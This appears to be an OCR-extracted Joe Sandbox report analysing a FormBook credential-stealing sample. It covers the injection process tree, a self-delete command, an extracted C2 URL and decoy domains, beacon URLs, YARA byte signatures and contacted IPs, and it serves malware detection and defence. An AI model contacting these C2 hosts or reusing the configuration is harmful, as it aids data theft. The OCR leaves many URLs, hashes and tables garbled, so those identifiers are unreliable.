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Windows Analysis Report WREFU91LXZ.exe

Yara detected FormBook

Most interesting Screenshot:

C2 URLs / IPs found in malware con...

Overview
General Information Detection Signatures Classification
Sample WREFU91LXZ.exe
Name: MALICIOUS Detected unpacking (changes PE se...
Analysis ID: 452405 Found malware configuration
MDS: 686dc98567009e.. Malicious sample detected (through ...
SHAL:
5788c30289d12f6. Multi AV Scanner detection for subm...
SHA256: 11d84c7f9c579¢2. "
Snort IDS alert for network traffic (e....
System process connects to networ...
ifos: Qit QY

"B

4 FormBook Machine Learning detection for samp...
L]
Ll Score: 100 Maps a DLL or, memory area in
L] : -
Range: 0-100 Modifies the context of a thread in a...
a Whitelisted: false

X Queues an APC in another process ...

Confidence: 100%

Process Tree

= System is w10x64

o [B] WREFuU91LXZ.exe (PID: 5912 cmdline: 'C:\Users\user\Desktop\wREFu91LXZ.exe' MD5: 686DC98567009E47EACS88E95804B9DDE)
o (B WREFU91LXZ.exe (PID: 492 cmdline: 'C:\Users\user\Desktop\wREFU91LXZ.exe' MD5: 686DC98567009E47EAC88E95804BIDDE)
o [ explorer.exe (PID: 3388 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
msiexec.exe (PID: 5256 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 12C17B5A5C2A7B97342C362CA467E9A2)
@l cmd.exe (PID: 6084 cmdline: /c del 'C:\Users\user\Desktop\WREFU91LXZ.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 3728 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook
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"2 list": [
"www.extinctionbrews.com/dy8g/"

1,

"decoy": [
"mzyxi-rkah-y.net",
"okinawarongnho.com",
"qq66520.com",
"nimbus.watch”,
"cwdelrio.com”,
"regalshopper.com”,
"avito-payment.life”,
"jorgeporcayo.com",
"galvinsky.digital”,
"guys-only.com",
"asmfruits-almacenes.com”,
"boatrace-life04.net",
"cochez.club",
"thelastvictor.net”,
"janieleconte.com",
"ivoirepneus.com”,
"saludflv.info",
"mydreamtv.net",
"austinphy.com",
"cajunseafoodstcloud.com”,
"13006608192.com",
"clear3media.com”,
"thegrowclinic.com”,
"findfoodshop.com",
"livegaming.store",
"greenseti.com",
"atmaapothecary.com",
"builtbydawn.com",
"wthcoffee.com",
"melodezu.com”,
"oikoschain.com"”,
"matcitekids.com”,
"killrstudio.com”,
"doityourselfism.com”,
"monsoonnerd.com”,
"swissbankmusic.com”,
"envisionfordheights.com”,
"invisiongc.net",
"aizaibali.com",
"professioneconsulenza.net”,
"chaneabond. com",
"theamercianhouseboat.com”,
"scuolatua.com”,
"surivaganza.com”,
"xn--vuq722jwngjre.com”,
"quiteimediato.space”,
"ecofingers.com”,
"manageoceanaccount.com”,
"cindywillardrealtor.com”,
"garimpeirastore.online”,
"tinsley.website",
"fitnesstwentytwenty.com”,
"thenorthgoldline.com”,
"scuolacounselingroma.com",
"iwccgroup.com”,
"wideawakemomma.com",
"anthonysavillemiddleschool.com”,
"sprinkleresources.com”,
"ravexim3.com",
"onedadtwodudes.com",
"shxytl.com",
"iriscloudvideo.com",
"theshapecreator.com”,
"vermogenswerte.com"

Yara Overview

Memory Dumps

Source Rule

00000001.00000002.230049818.00000000021A JoeSecurity_FormBook
0000.00000040.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000001.00000002.230049818.00000000021A
0000.00000040.00000001.sdmp

00000001.00000002.230049818.00000000021A
0000.00000040.00000001.sdmp

Rule Description

Formbook_1

yara-signator

Formbook
memory

00000005.00000000.273287950.0000000006399000.00000 JoeSecurity_FormBook  Yara detected

040.00000001.sdmp

00000005.00000000.273287950.0000000006399000.00000 Formbook_1

040.00000001.sdmp

Unpacked PEs

Source

3.1.WwREFuU91LXZ.exe.400000.0.raw.unpack

3.1.WREFuU91LXZ.exe.400000.0.raw.unpack

3.1.WREFU91LXZ.exe.400000.0.raw.unpack

1.2.WREFuU91LXZ.exe.21a0000.2.unpack

1.2.wREFu91LXZ.exe.21a0000.2.unpack

Sigma Overview

Copyright Joe Security LLC 2021

FormBook

yara-signator

Click to see the 22 entries

Rule Description
JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Formbook detect Formbook in

memory

Yara detected
FormBook

JoeSecurity_FormBook

Formbook_1

yara-signator

Click to see the 13 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

autogenerated rule
brought to you by

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

e 0x85f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

e o o o

e o o o

e o o o o o

e o o o o o

0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166c9:$sqlite3step: 68 34 1C 7B E1
0x167dc:$sqlite3step: 68 34 1C 7B E1
0x166f8:$sqlite3text: 68 38 2A 90 C5

0x1681d:$sqlite3text: 68 38 2A 90 C5
0x1670b:$sqlite3blob: 68 53 D8 7F 8C
0x16833:$sqlite3blob: 68 53 D8 7F 8C

0x46a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x4191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x47a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9797:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxa83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Strings

.

e o o o

e o o o o o e o o o

.

e o o o

e o o o

0x85f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14191:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166¢9:$sqlite3step: 68 34 1C 7B E1
0x167dc:$sqlite3step: 68 34 1C 7B E1
0x166f8:$sqlite3text: 68 38 2A 90 C5

0x1681d:$sqlite3text: 68 38 2A 90 C5
0x1670b:$sqlite3blob: 68 53 D8 7F 8C
0x16833:$sqlite3blob: 68 53 D8 7F 8C

0x77f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7b92:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x13391:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0Ox85aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18997:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19a3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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No Sigma rule has matched

Jbx Signhature Overview

g

Click to jump to signature section

AV Detection:

]

Found malware configuration
Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud:

=

Yara detected FormBook

J

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

=

Detected unpacking (changes PE section rights)

Malware Analysis System Evasion:

‘]

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

=

Stealing of Sensitive Information:

Yara detected FormBook

]‘

Remote Access Functionality:

Yara detected FormBook

Copyright Joe Security LLC 2021 Page 7 of 29



Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network H
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects |
Valid Shared DLL Side-  Process Virtualization/Sandbox OS Security Software Remote Archive Exfiltration Encrypted Eavesdropon |
Accounts Modules g Loading Injection Evasion Credential Discovery Services Collected  Over Other Channel Insecure )
Dumping Data Network Network \
Medium Communication #
Default Scheduled Boot or DLL Side- Process LSASS Virtualization/Sandbox Remote Data from Exfiltration Ingress Tool  Exploit SS7to |
Accounts Task/Job  Logon Loading Injection Memory  Evasion Desktop Removable Over Transfer Redirect Phone '\
Initialization Protocol Media Bluetooth Calls/SMS \
Scripts /
Domain At (Linux) Logon Script Logon Script Obfuscated Files or  Security Process Discovery SMB/Windows Data from Automated Non- Exploit SS7to  (
Accounts (Windows)  (Windows) Information Account Admin Shares Network Exfiltration Application Track Device [
Manager Shared Layer Location (
Drive Protocol I
Local At Logon Script Logon Script Software NTDS Remote System Distributed Input Scheduled Application SIM Card
Accounts (Windows) (Mac) (Mac) Packing Discovery Component Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon  DLL Side-Loading LSA System Information SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Secrets Discovery Transfer Channels Device
Size Limits Communication

Behavior Graph

Hide Legend

Behavior Graph

w205
BTt ammEn ﬁ Legend:
Archtecure: wioows Process

Score: 100

Signature
Created File
DNS/IP Info
Is Dropped

] wRerw1XZ o

T Is Windows Process
c] B

U] |

*

Number of created Registry Values

TLI
s
"en

Number of created Files

--— o

5 B

[ e Visual Basic
) il Delphi
é_, Java
= e
G C, C++ or other language
L Is malicious
Internet

sarted

B meecee Sy

- - — e

c] B

l s

Bl comostee  A¥
[(ommaE ]
s

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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TQDFIHPU...

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
WREFU91LXZ.exe 32% Virustotal Browse
WREFU91LXZ.exe 54% ReversingLabs Win32.Trojan.VirRansom
WREFU91LXZ.exe 100% Joe Sandbox ML

Dropped Files
No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

10.2.msiexec.exe.48c7960.5.unpack 100% Avira TR/Patched.Ren.Gen Download File

Copyright Joe Security LLC 2021 Page 9 of 29


https://www.virustotal.com/gui/file/11d84c7f9c579c2e58f4acc04d488d5f1c6cc0439609099eabec42444f5ef952/detection/f-11d84c7f9c579c2e58f4acc04d488d5f1c6cc0439609099eabec42444f5ef952-1626891915

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/fwww.cajunseafoodstcloud.com/dy8g/? 0% Avira URL Cloud safe
9rrLUp1=sC7FhjJqcCFIEoUuEobIBnrRYwOZzG9nc/x6jFk5Keq5TgsKgOpKFfaz6JoBJPzzv7cu&sxIxj=RL

30W

http:/fwww.tinsley.website/dy8g/? 0% Avira URL Cloud safe
9rrLUp1=iVPD{BhYBy5JvywJlu7/jTaNalK/WCHUrbFXeojMH/nMVdHPbpxjQug5aGN6jhO1pTuT&sxIxj=R

L30W

http:/fwww.founder.com.cn/cn/bThe 0% URL Reputation safe
http:/fwww.founder.com.cn/cn/obThe 0% URL Reputation safe
http:/fwww.founder.com.cn/cn/bThe 0% URL Reputation safe
http:/fwww.tiro.com 0% URL Reputation safe
http:/fwww.tiro.com 0% URL Reputation safe
http:/fwww.tiro.com 0% URL Reputation safe
http:/fwww.matcitekids.com/dy8g/? 0% Avira URL Cloud safe
9rrLUp1=dI9eO6GENVuhhF21ZBGZI9CJIMc/scmMOFs5NmUifzPq1VUdHCmcaYQjC6cJIVTF2eMwa&sx|

Xj=RL30W

http:/fwww.goodfont.co.kr 0% URL Reputation safe
http:/fwww.goodfont.co.kr 0% URL Reputation safe
http:/fwww.goodfont.co.kr 0% URL Reputation safe
http:/fwww.carterandcone.coml 0% URL Reputation safe
http:/fwww.carterandcone.coml 0% URL Reputation safe
http:/fwww.carterandcone.coml 0% URL Reputation safe
http:/fwww.sajatypeworks.com 0% URL Reputation safe
http:/fwww.sajatypeworks.com 0% URL Reputation safe
http:/fwww.sajatypeworks.com 0% URL Reputation safe
http:/fwww.typography.netD 0% URL Reputation safe
http:/fwww.typography.netD 0% URL Reputation safe
http:/fwww.typography.netD 0% URL Reputation safe
http:/fwww.founder.com.cn/cn/cThe 0% URL Reputation safe
http://www.founder.com.cn/cn/cThe 0% URL Reputation safe
http://www.founder.com.cn/cn/cThe 0% URL Reputation safe
http:/fwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http:/fwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http:/fwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http:/ifontfabrik.com 0% URL Reputation safe
http:/ifontfabrik.com 0% URL Reputation safe
http:/ifontfabrik.com 0% URL Reputation safe
http:/fwww.founder.com.cn/cn 0% URL Reputation safe
http:/fwww.founder.com.cn/cn 0% URL Reputation safe
http:/fwww.founder.com.cn/cn 0% URL Reputation safe
http:/fwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
http:/fwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
hitp://www.jiyu-kobo.co.jp/ 0% URL Reputation safe
www.extinctionbrews.com/dy8g/ 0% Avira URL Cloud safe
hitp://www.galapagosdesign.com/DPlease 0% URL Reputation safe
http:/fwww.galapagosdesign.com/DPlease 0% URL Reputation safe
http:/fwww.galapagosdesign.com/DPlease 0% URL Reputation safe
http:/fwww.extinctionbrews.com/dy8g/? 0% Avira URL Cloud safe
9rrLUp1=DjnY/S7/G1yk/GGdjnbMGOpwIAlipgBY8a8MDSEVY TAaES/8s3MkSQswoFjnAjbDmWUu&sxIxj=

RL30W

http:/fwww.sandoll.co.kr 0% URL Reputation safe
http:/fwww.sandoll.co.kr 0% URL Reputation safe
http:/fwww.sandoll.co.kr 0% URL Reputation safe
http:/fwww.urwpp.deDPlease 0% URL Reputation safe
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Source Detection Scanner Label Link

http:/fwww.urwpp.deDPlease 0% URL Reputation safe
http:/fwww.urwpp.deDPlease 0% URL Reputation safe
http:/fwww.zhongyicts.com.cn 0% URL Reputation safe
http:/fwww.zhongyicts.com.cn 0% URL Reputation safe
http:/fwww.zhongyicts.com.cn 0% URL Reputation safe
http:/fwww.chaneabond.com/dy8g/? 0% Avira URL Cloud safe
9rrLUp1=0Hs+m/QFKKZKFWAC|LHyI7vfWqidrdy2jXRg5Hngc5JW+skizgaHxis+6ShLP6A0B+d4&sxIxj=R

L3owW

http:/fwww.sakkal.com 0% URL Reputation safe
http:/fwww.sakkal.com 0% URL Reputation safe
http:/fwww.sakkal.com 0% URL Reputation safe
http:/fwww.melodezu.com/dy8g/? 0% Avira URL Cloud safe
9rrLUpl=qgBaU/+yfeYHIIZouGPofXU4iidVfFINHYvrLIGgOmMZTTI18u/I/MgAYEWpA7pfREgQY T&sxIxj=RL3

ow

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation
extinctionbrews.com 34.102.136.180 true false unknown

Malicious Antivirus Detection Reputation

hitp://www.extinctionbrews.com/dy8g/? false e Avira URL Cloud: safe unknown
9rrLUp1=DjnY/S7/G1yk/GGdjnbMGOpwlIAlipgBY8a8MDSEVY TAaE8/8s3MkSQswoFjnAjbDm
WUU&sXIxj=RL30W

URLs from Memory and Binaries

Contacted IPs
Copyright Joe Security LLC 2021 Page 11 of 29



Public

P Domain

198.185.159.144

ext-sg.squarespace.com

ASN Name
SQUARESPACEUS false

Country Flag ASN Malicious

United States 53831

34.102.136.180

extinctionbrews.com

United States 15169 GOOGLEUS false

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Copyright Joe Security LLC 2021

33.0.0 White Diamond
452405

22.07.2021

10:07:25

CloudBasic

Oh 10m 45s

false

light
WREFU91LXZ.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
27

o o o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.troj.evad. WinEXE@7/0@12/7
Failed

e Successful, ratio: 15.9% (good quality ratio 13%)
e Quality average: 67.2%
e Quality standard deviation: 36.5%

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All
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Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256 Detection Link Context

198.185.159.144 Get hash malicious Browse * www.hatch
ethangout.
com/vd9n/?
b2Jda=DQ3L
VDWIWtcUIl
t1+CwvlUtD
R5SKXTOPHI
+npd08abK4
tUsO2N8Mk9
PUhZ8nXrz6
VOqVJIWFEOA
==8&pJB0=06
ut_FPhn

Get hash malicious Browse * www.stayd
oubted.com
/m6b5/?s6A
=pktzo183I
xXcoqS041D
7ElelfcflC
shexIvI7R5
YZAXrCITYS
IFYZOBNKUO
7LKi7alFGz
eeDww==&u4
kxI=5j-Ly2
Z8tzOHwrs

Get hash malicious Browse °  Www.groov
ysmoothiea
ndjuice.co
m/gqmf6/?4h
td=UfHWMWm
YBRwKI7Z+
abDTmt8TnN
7bBW1jO7Sh
5Z0xpTITW7
jvDNawGyRO
5uMew8y+TG
Liw==&fDHX
=mjDdu2iXaB

Get hash malicious Browse e www.chane
abond.com/
dy8g/?7ntt
Tz=XZ7DUzy
OphYTzxkp&
IVo=0Hs+m/
QFKKZKFWAC
JLHyI7vfWg
idrdy2jXRg
5HNgc5IW+s
klzgaHxis+
6RNbTLCPGL
Op8EycZw==

Get hash malicious Browse * www.mirac
lepawsfoun
dation.com
Ip6ail?h2]
TIt=+PzjM1
NhMYGi2Whb9
HNOd3fC9h9
foQ2RCKNNO
QrdIkE8gE6
LYJeni4s5y
8VCleiPMbH
FH&XJBI=5)
nLgdipVfk

Get hash malicious Browse o www.the42
7group.com
/ogpo/?7n0
lg=wV1bXSp
1XHJIfT8T6S
98AYtRIIMK
IGRP4I/Zsj
CYErbEGvOk
OH3UCALIW+
92LSFz5kfR
apGtPbQ==
hnQLAO=d2M
tV2hhcv98DBGP
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https://view.joesandbox.com/analysis/354325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354325/html/none?idtype=webid
https://view.joesandbox.com/analysis/354313/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354313/html/none?idtype=webid
https://view.joesandbox.com/analysis/353492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353492/html/none?idtype=webid
https://view.joesandbox.com/analysis/353199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353199/html/none?idtype=webid
https://view.joesandbox.com/analysis/352486/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352486/html/none?idtype=webid
https://view.joesandbox.com/analysis/352441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352441/html/none?idtype=webid

Match
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Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.chane
abond.com/
dy8g/?0tx=
hZrp3dQOn&
Sb=0Hs+m/Q
AKNZgFgMOh
LHyI7viWaqi
drdy2jXJwl
E7hYZJX+dI
006LLNmMU8BS
3NdLgEHK9A
llw==

e www.alana
levittstud
io.com/gscc/?
Hh=GfKP
Fvb&k8=jSc
6B1w1lnKSOU
xg6RD1vehl
geE273fusl
6VNI10ZzAX
HnndtYQ10N
WASsY6v2B0I
Zz3FRA

° www.utrex
press.com/
gscc/?_VR4
=GISg5y5xA
1qCQ15p4sd
9yDbKxueN4
2KBsaZoHV(q
TzVOILBMjy
FN5SWfHzvr
UrljRpGgL&
jPh=0FQptzFhkd

o www.howdo
ivote.info/gg9g/?
MNG6
4X=vND08cH
GVezTH|K75
sdEZ/nmneY
mPuODqyzR+
+CGQIWPNUF
XpPsK86C/9
1Xgg79sNWP
4&0Tz=0Pr|
2jAp9IDpep

e www.chane
abond.com/
dy8g/?3f=0
Hs+m/QFKKZ
KFWAC]LHy!
7viwgidrdy
2jXRg5HNgc
5JW+sklzga
Hxis+6ShLP
6A0B+d4&XR
tpal=y48HaFr

o www.uluap
okehouse.c
om/u9pi/?z
658CR=aeDN
/YE3ORVAZR
+GWrC2+TG6
3pFDugwwZ1
9jzG1fqsa4
jOVSOgKexm
400FmfHCPk
dLO8kdDrwA
==&AxIXx=MR-D

o www.laure
nkilbane.c
om/usur/?U
T=9mhm3kIA
bFxISNCfFp
pBjkM9d4Sk
iQx3jmSdu6
GJUXfcOy1j
ZvPXleFurq
0+EV1bwIKY
&g0D0=2dx06!
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https://view.joesandbox.com/analysis/352328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352328/html/none?idtype=webid
https://view.joesandbox.com/analysis/351801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351801/html/none?idtype=webid
https://view.joesandbox.com/analysis/350939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350939/html/none?idtype=webid
https://view.joesandbox.com/analysis/349759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349759/html/none?idtype=webid
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid
https://view.joesandbox.com/analysis/348635/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348635/html/none?idtype=webid
https://view.joesandbox.com/analysis/347326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/347326/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
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Detection

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Context

o www.loty-
hd.com/k1rc/?
N2=r5W8
qzN/gHFyOC
3qbzi78+WX
KVvvXpralJp
FafVS+Smjo
abcu+CPt7a
YcgkSgYun3
ghInOA==&N
xIOA8=5jiL
RI9pajXpc

o www.terre
sdegaillac
.com/rerx/?
DvFXm=Boa
Fdpl1T45ERk
cs2LBlklav
YyTLapdQPa
s2cqy1Xn5d
02FthUKIw1
za9mzZvYOp4
0yCINKO4Th
w==&IFQ=VN
9htxGxx

e www.marid
aniellecon
treras.com
Ipz9b/?x4U
LcXK=W4bdv
0O/89GYCIAM
U3ffqMErim
tJOpUtEbIU
7GAYXIMYUN
HSd50QFWuV
JAd4dpRbzS
0X2&oXnDM=
9rjL3By8U2

www.theap
iarystudio
s.com/3nop/?
J6A=3frx
U&GpTt=a0+
gJPJox0wy2
xl4sslhshy
kacq9v+al+
esRgxMWwM8
ucEZww42nY
3BfWMQBFmMq
4gqPU

www.antiq
ueson3rd.c
om/nins/?E
L3LVD=hjot
+7N4NJIpl43
tT3BNIMCOg
gjuhuFQ3zf
tHsG9c1ws1
A2v6n8VyCe
aNuYnDgkw5
P1CA&r0Dpb
P=J8Zh4FP8
nbAhHN

e www.marid
aniellecon
treras.com
Ipz9b/?1bm
DH2y0=W4bd
VvO/89GYCIA
MU3ffqMEri
mtJOpUtEDI
U7G4YXxIMYU
NHSd50QFWu
VJAeUelhXL
fJqgdERfIA
==&I6Aldd=sZSH
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https://view.joesandbox.com/analysis/345815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345815/html/none?idtype=webid
https://view.joesandbox.com/analysis/345751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345751/html/none?idtype=webid
https://view.joesandbox.com/analysis/345478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345478/html/none?idtype=webid
https://view.joesandbox.com/analysis/345385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345385/html/none?idtype=webid
https://view.joesandbox.com/analysis/345214/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345214/html/none?idtype=webid
https://view.joesandbox.com/analysis/344804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344804/html/none?idtype=webid

Match

Domains

Match
Www.surivaganza.com

ext-sg.squarespace.com

ASN

Match
ONEANDONE-ASBrauerstrasse48DE
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SHA 256
Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Detection

malicious

Detection
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious

malicious

Link

Browse

Link
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse

Browse

Context

* www.bound
lessoutdoo
rfitness.c
om/u8u4/?q
48I=LIHr9I
uKUB347jpf
uxOmvhweAJ
QOFcdn1KvN
UBImEVHI7
XNdz1SBPND
Jb+TGHJIKOV
Aw&hBZ=-Zc
TFHRHIRAPjZE

Context

217.160.0.254

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

Context

82.165.135.254
195.20.246.158
87.106.97.83
217.160.0.62

213.171.19
5.105

217.160.18
2191

104.192.5.248
74.208.236.154
213.165.67.102
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https://view.joesandbox.com/analysis/344758/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344758/html/none?idtype=webid
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid
https://view.joesandbox.com/analysis/354313/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354313/html/none?idtype=webid
https://view.joesandbox.com/analysis/353492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353492/html/none?idtype=webid
https://view.joesandbox.com/analysis/353199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353199/html/none?idtype=webid
https://view.joesandbox.com/analysis/352486/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352486/html/none?idtype=webid
https://view.joesandbox.com/analysis/352441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352441/html/none?idtype=webid
https://view.joesandbox.com/analysis/352328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352328/html/none?idtype=webid
https://view.joesandbox.com/analysis/351801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351801/html/none?idtype=webid
https://view.joesandbox.com/analysis/350939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350939/html/none?idtype=webid
https://view.joesandbox.com/analysis/348965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348965/html/none?idtype=webid
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid
https://view.joesandbox.com/analysis/348635/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348635/html/none?idtype=webid
https://view.joesandbox.com/analysis/347671/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/347671/html/none?idtype=webid
https://view.joesandbox.com/analysis/347326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/347326/html/none?idtype=webid
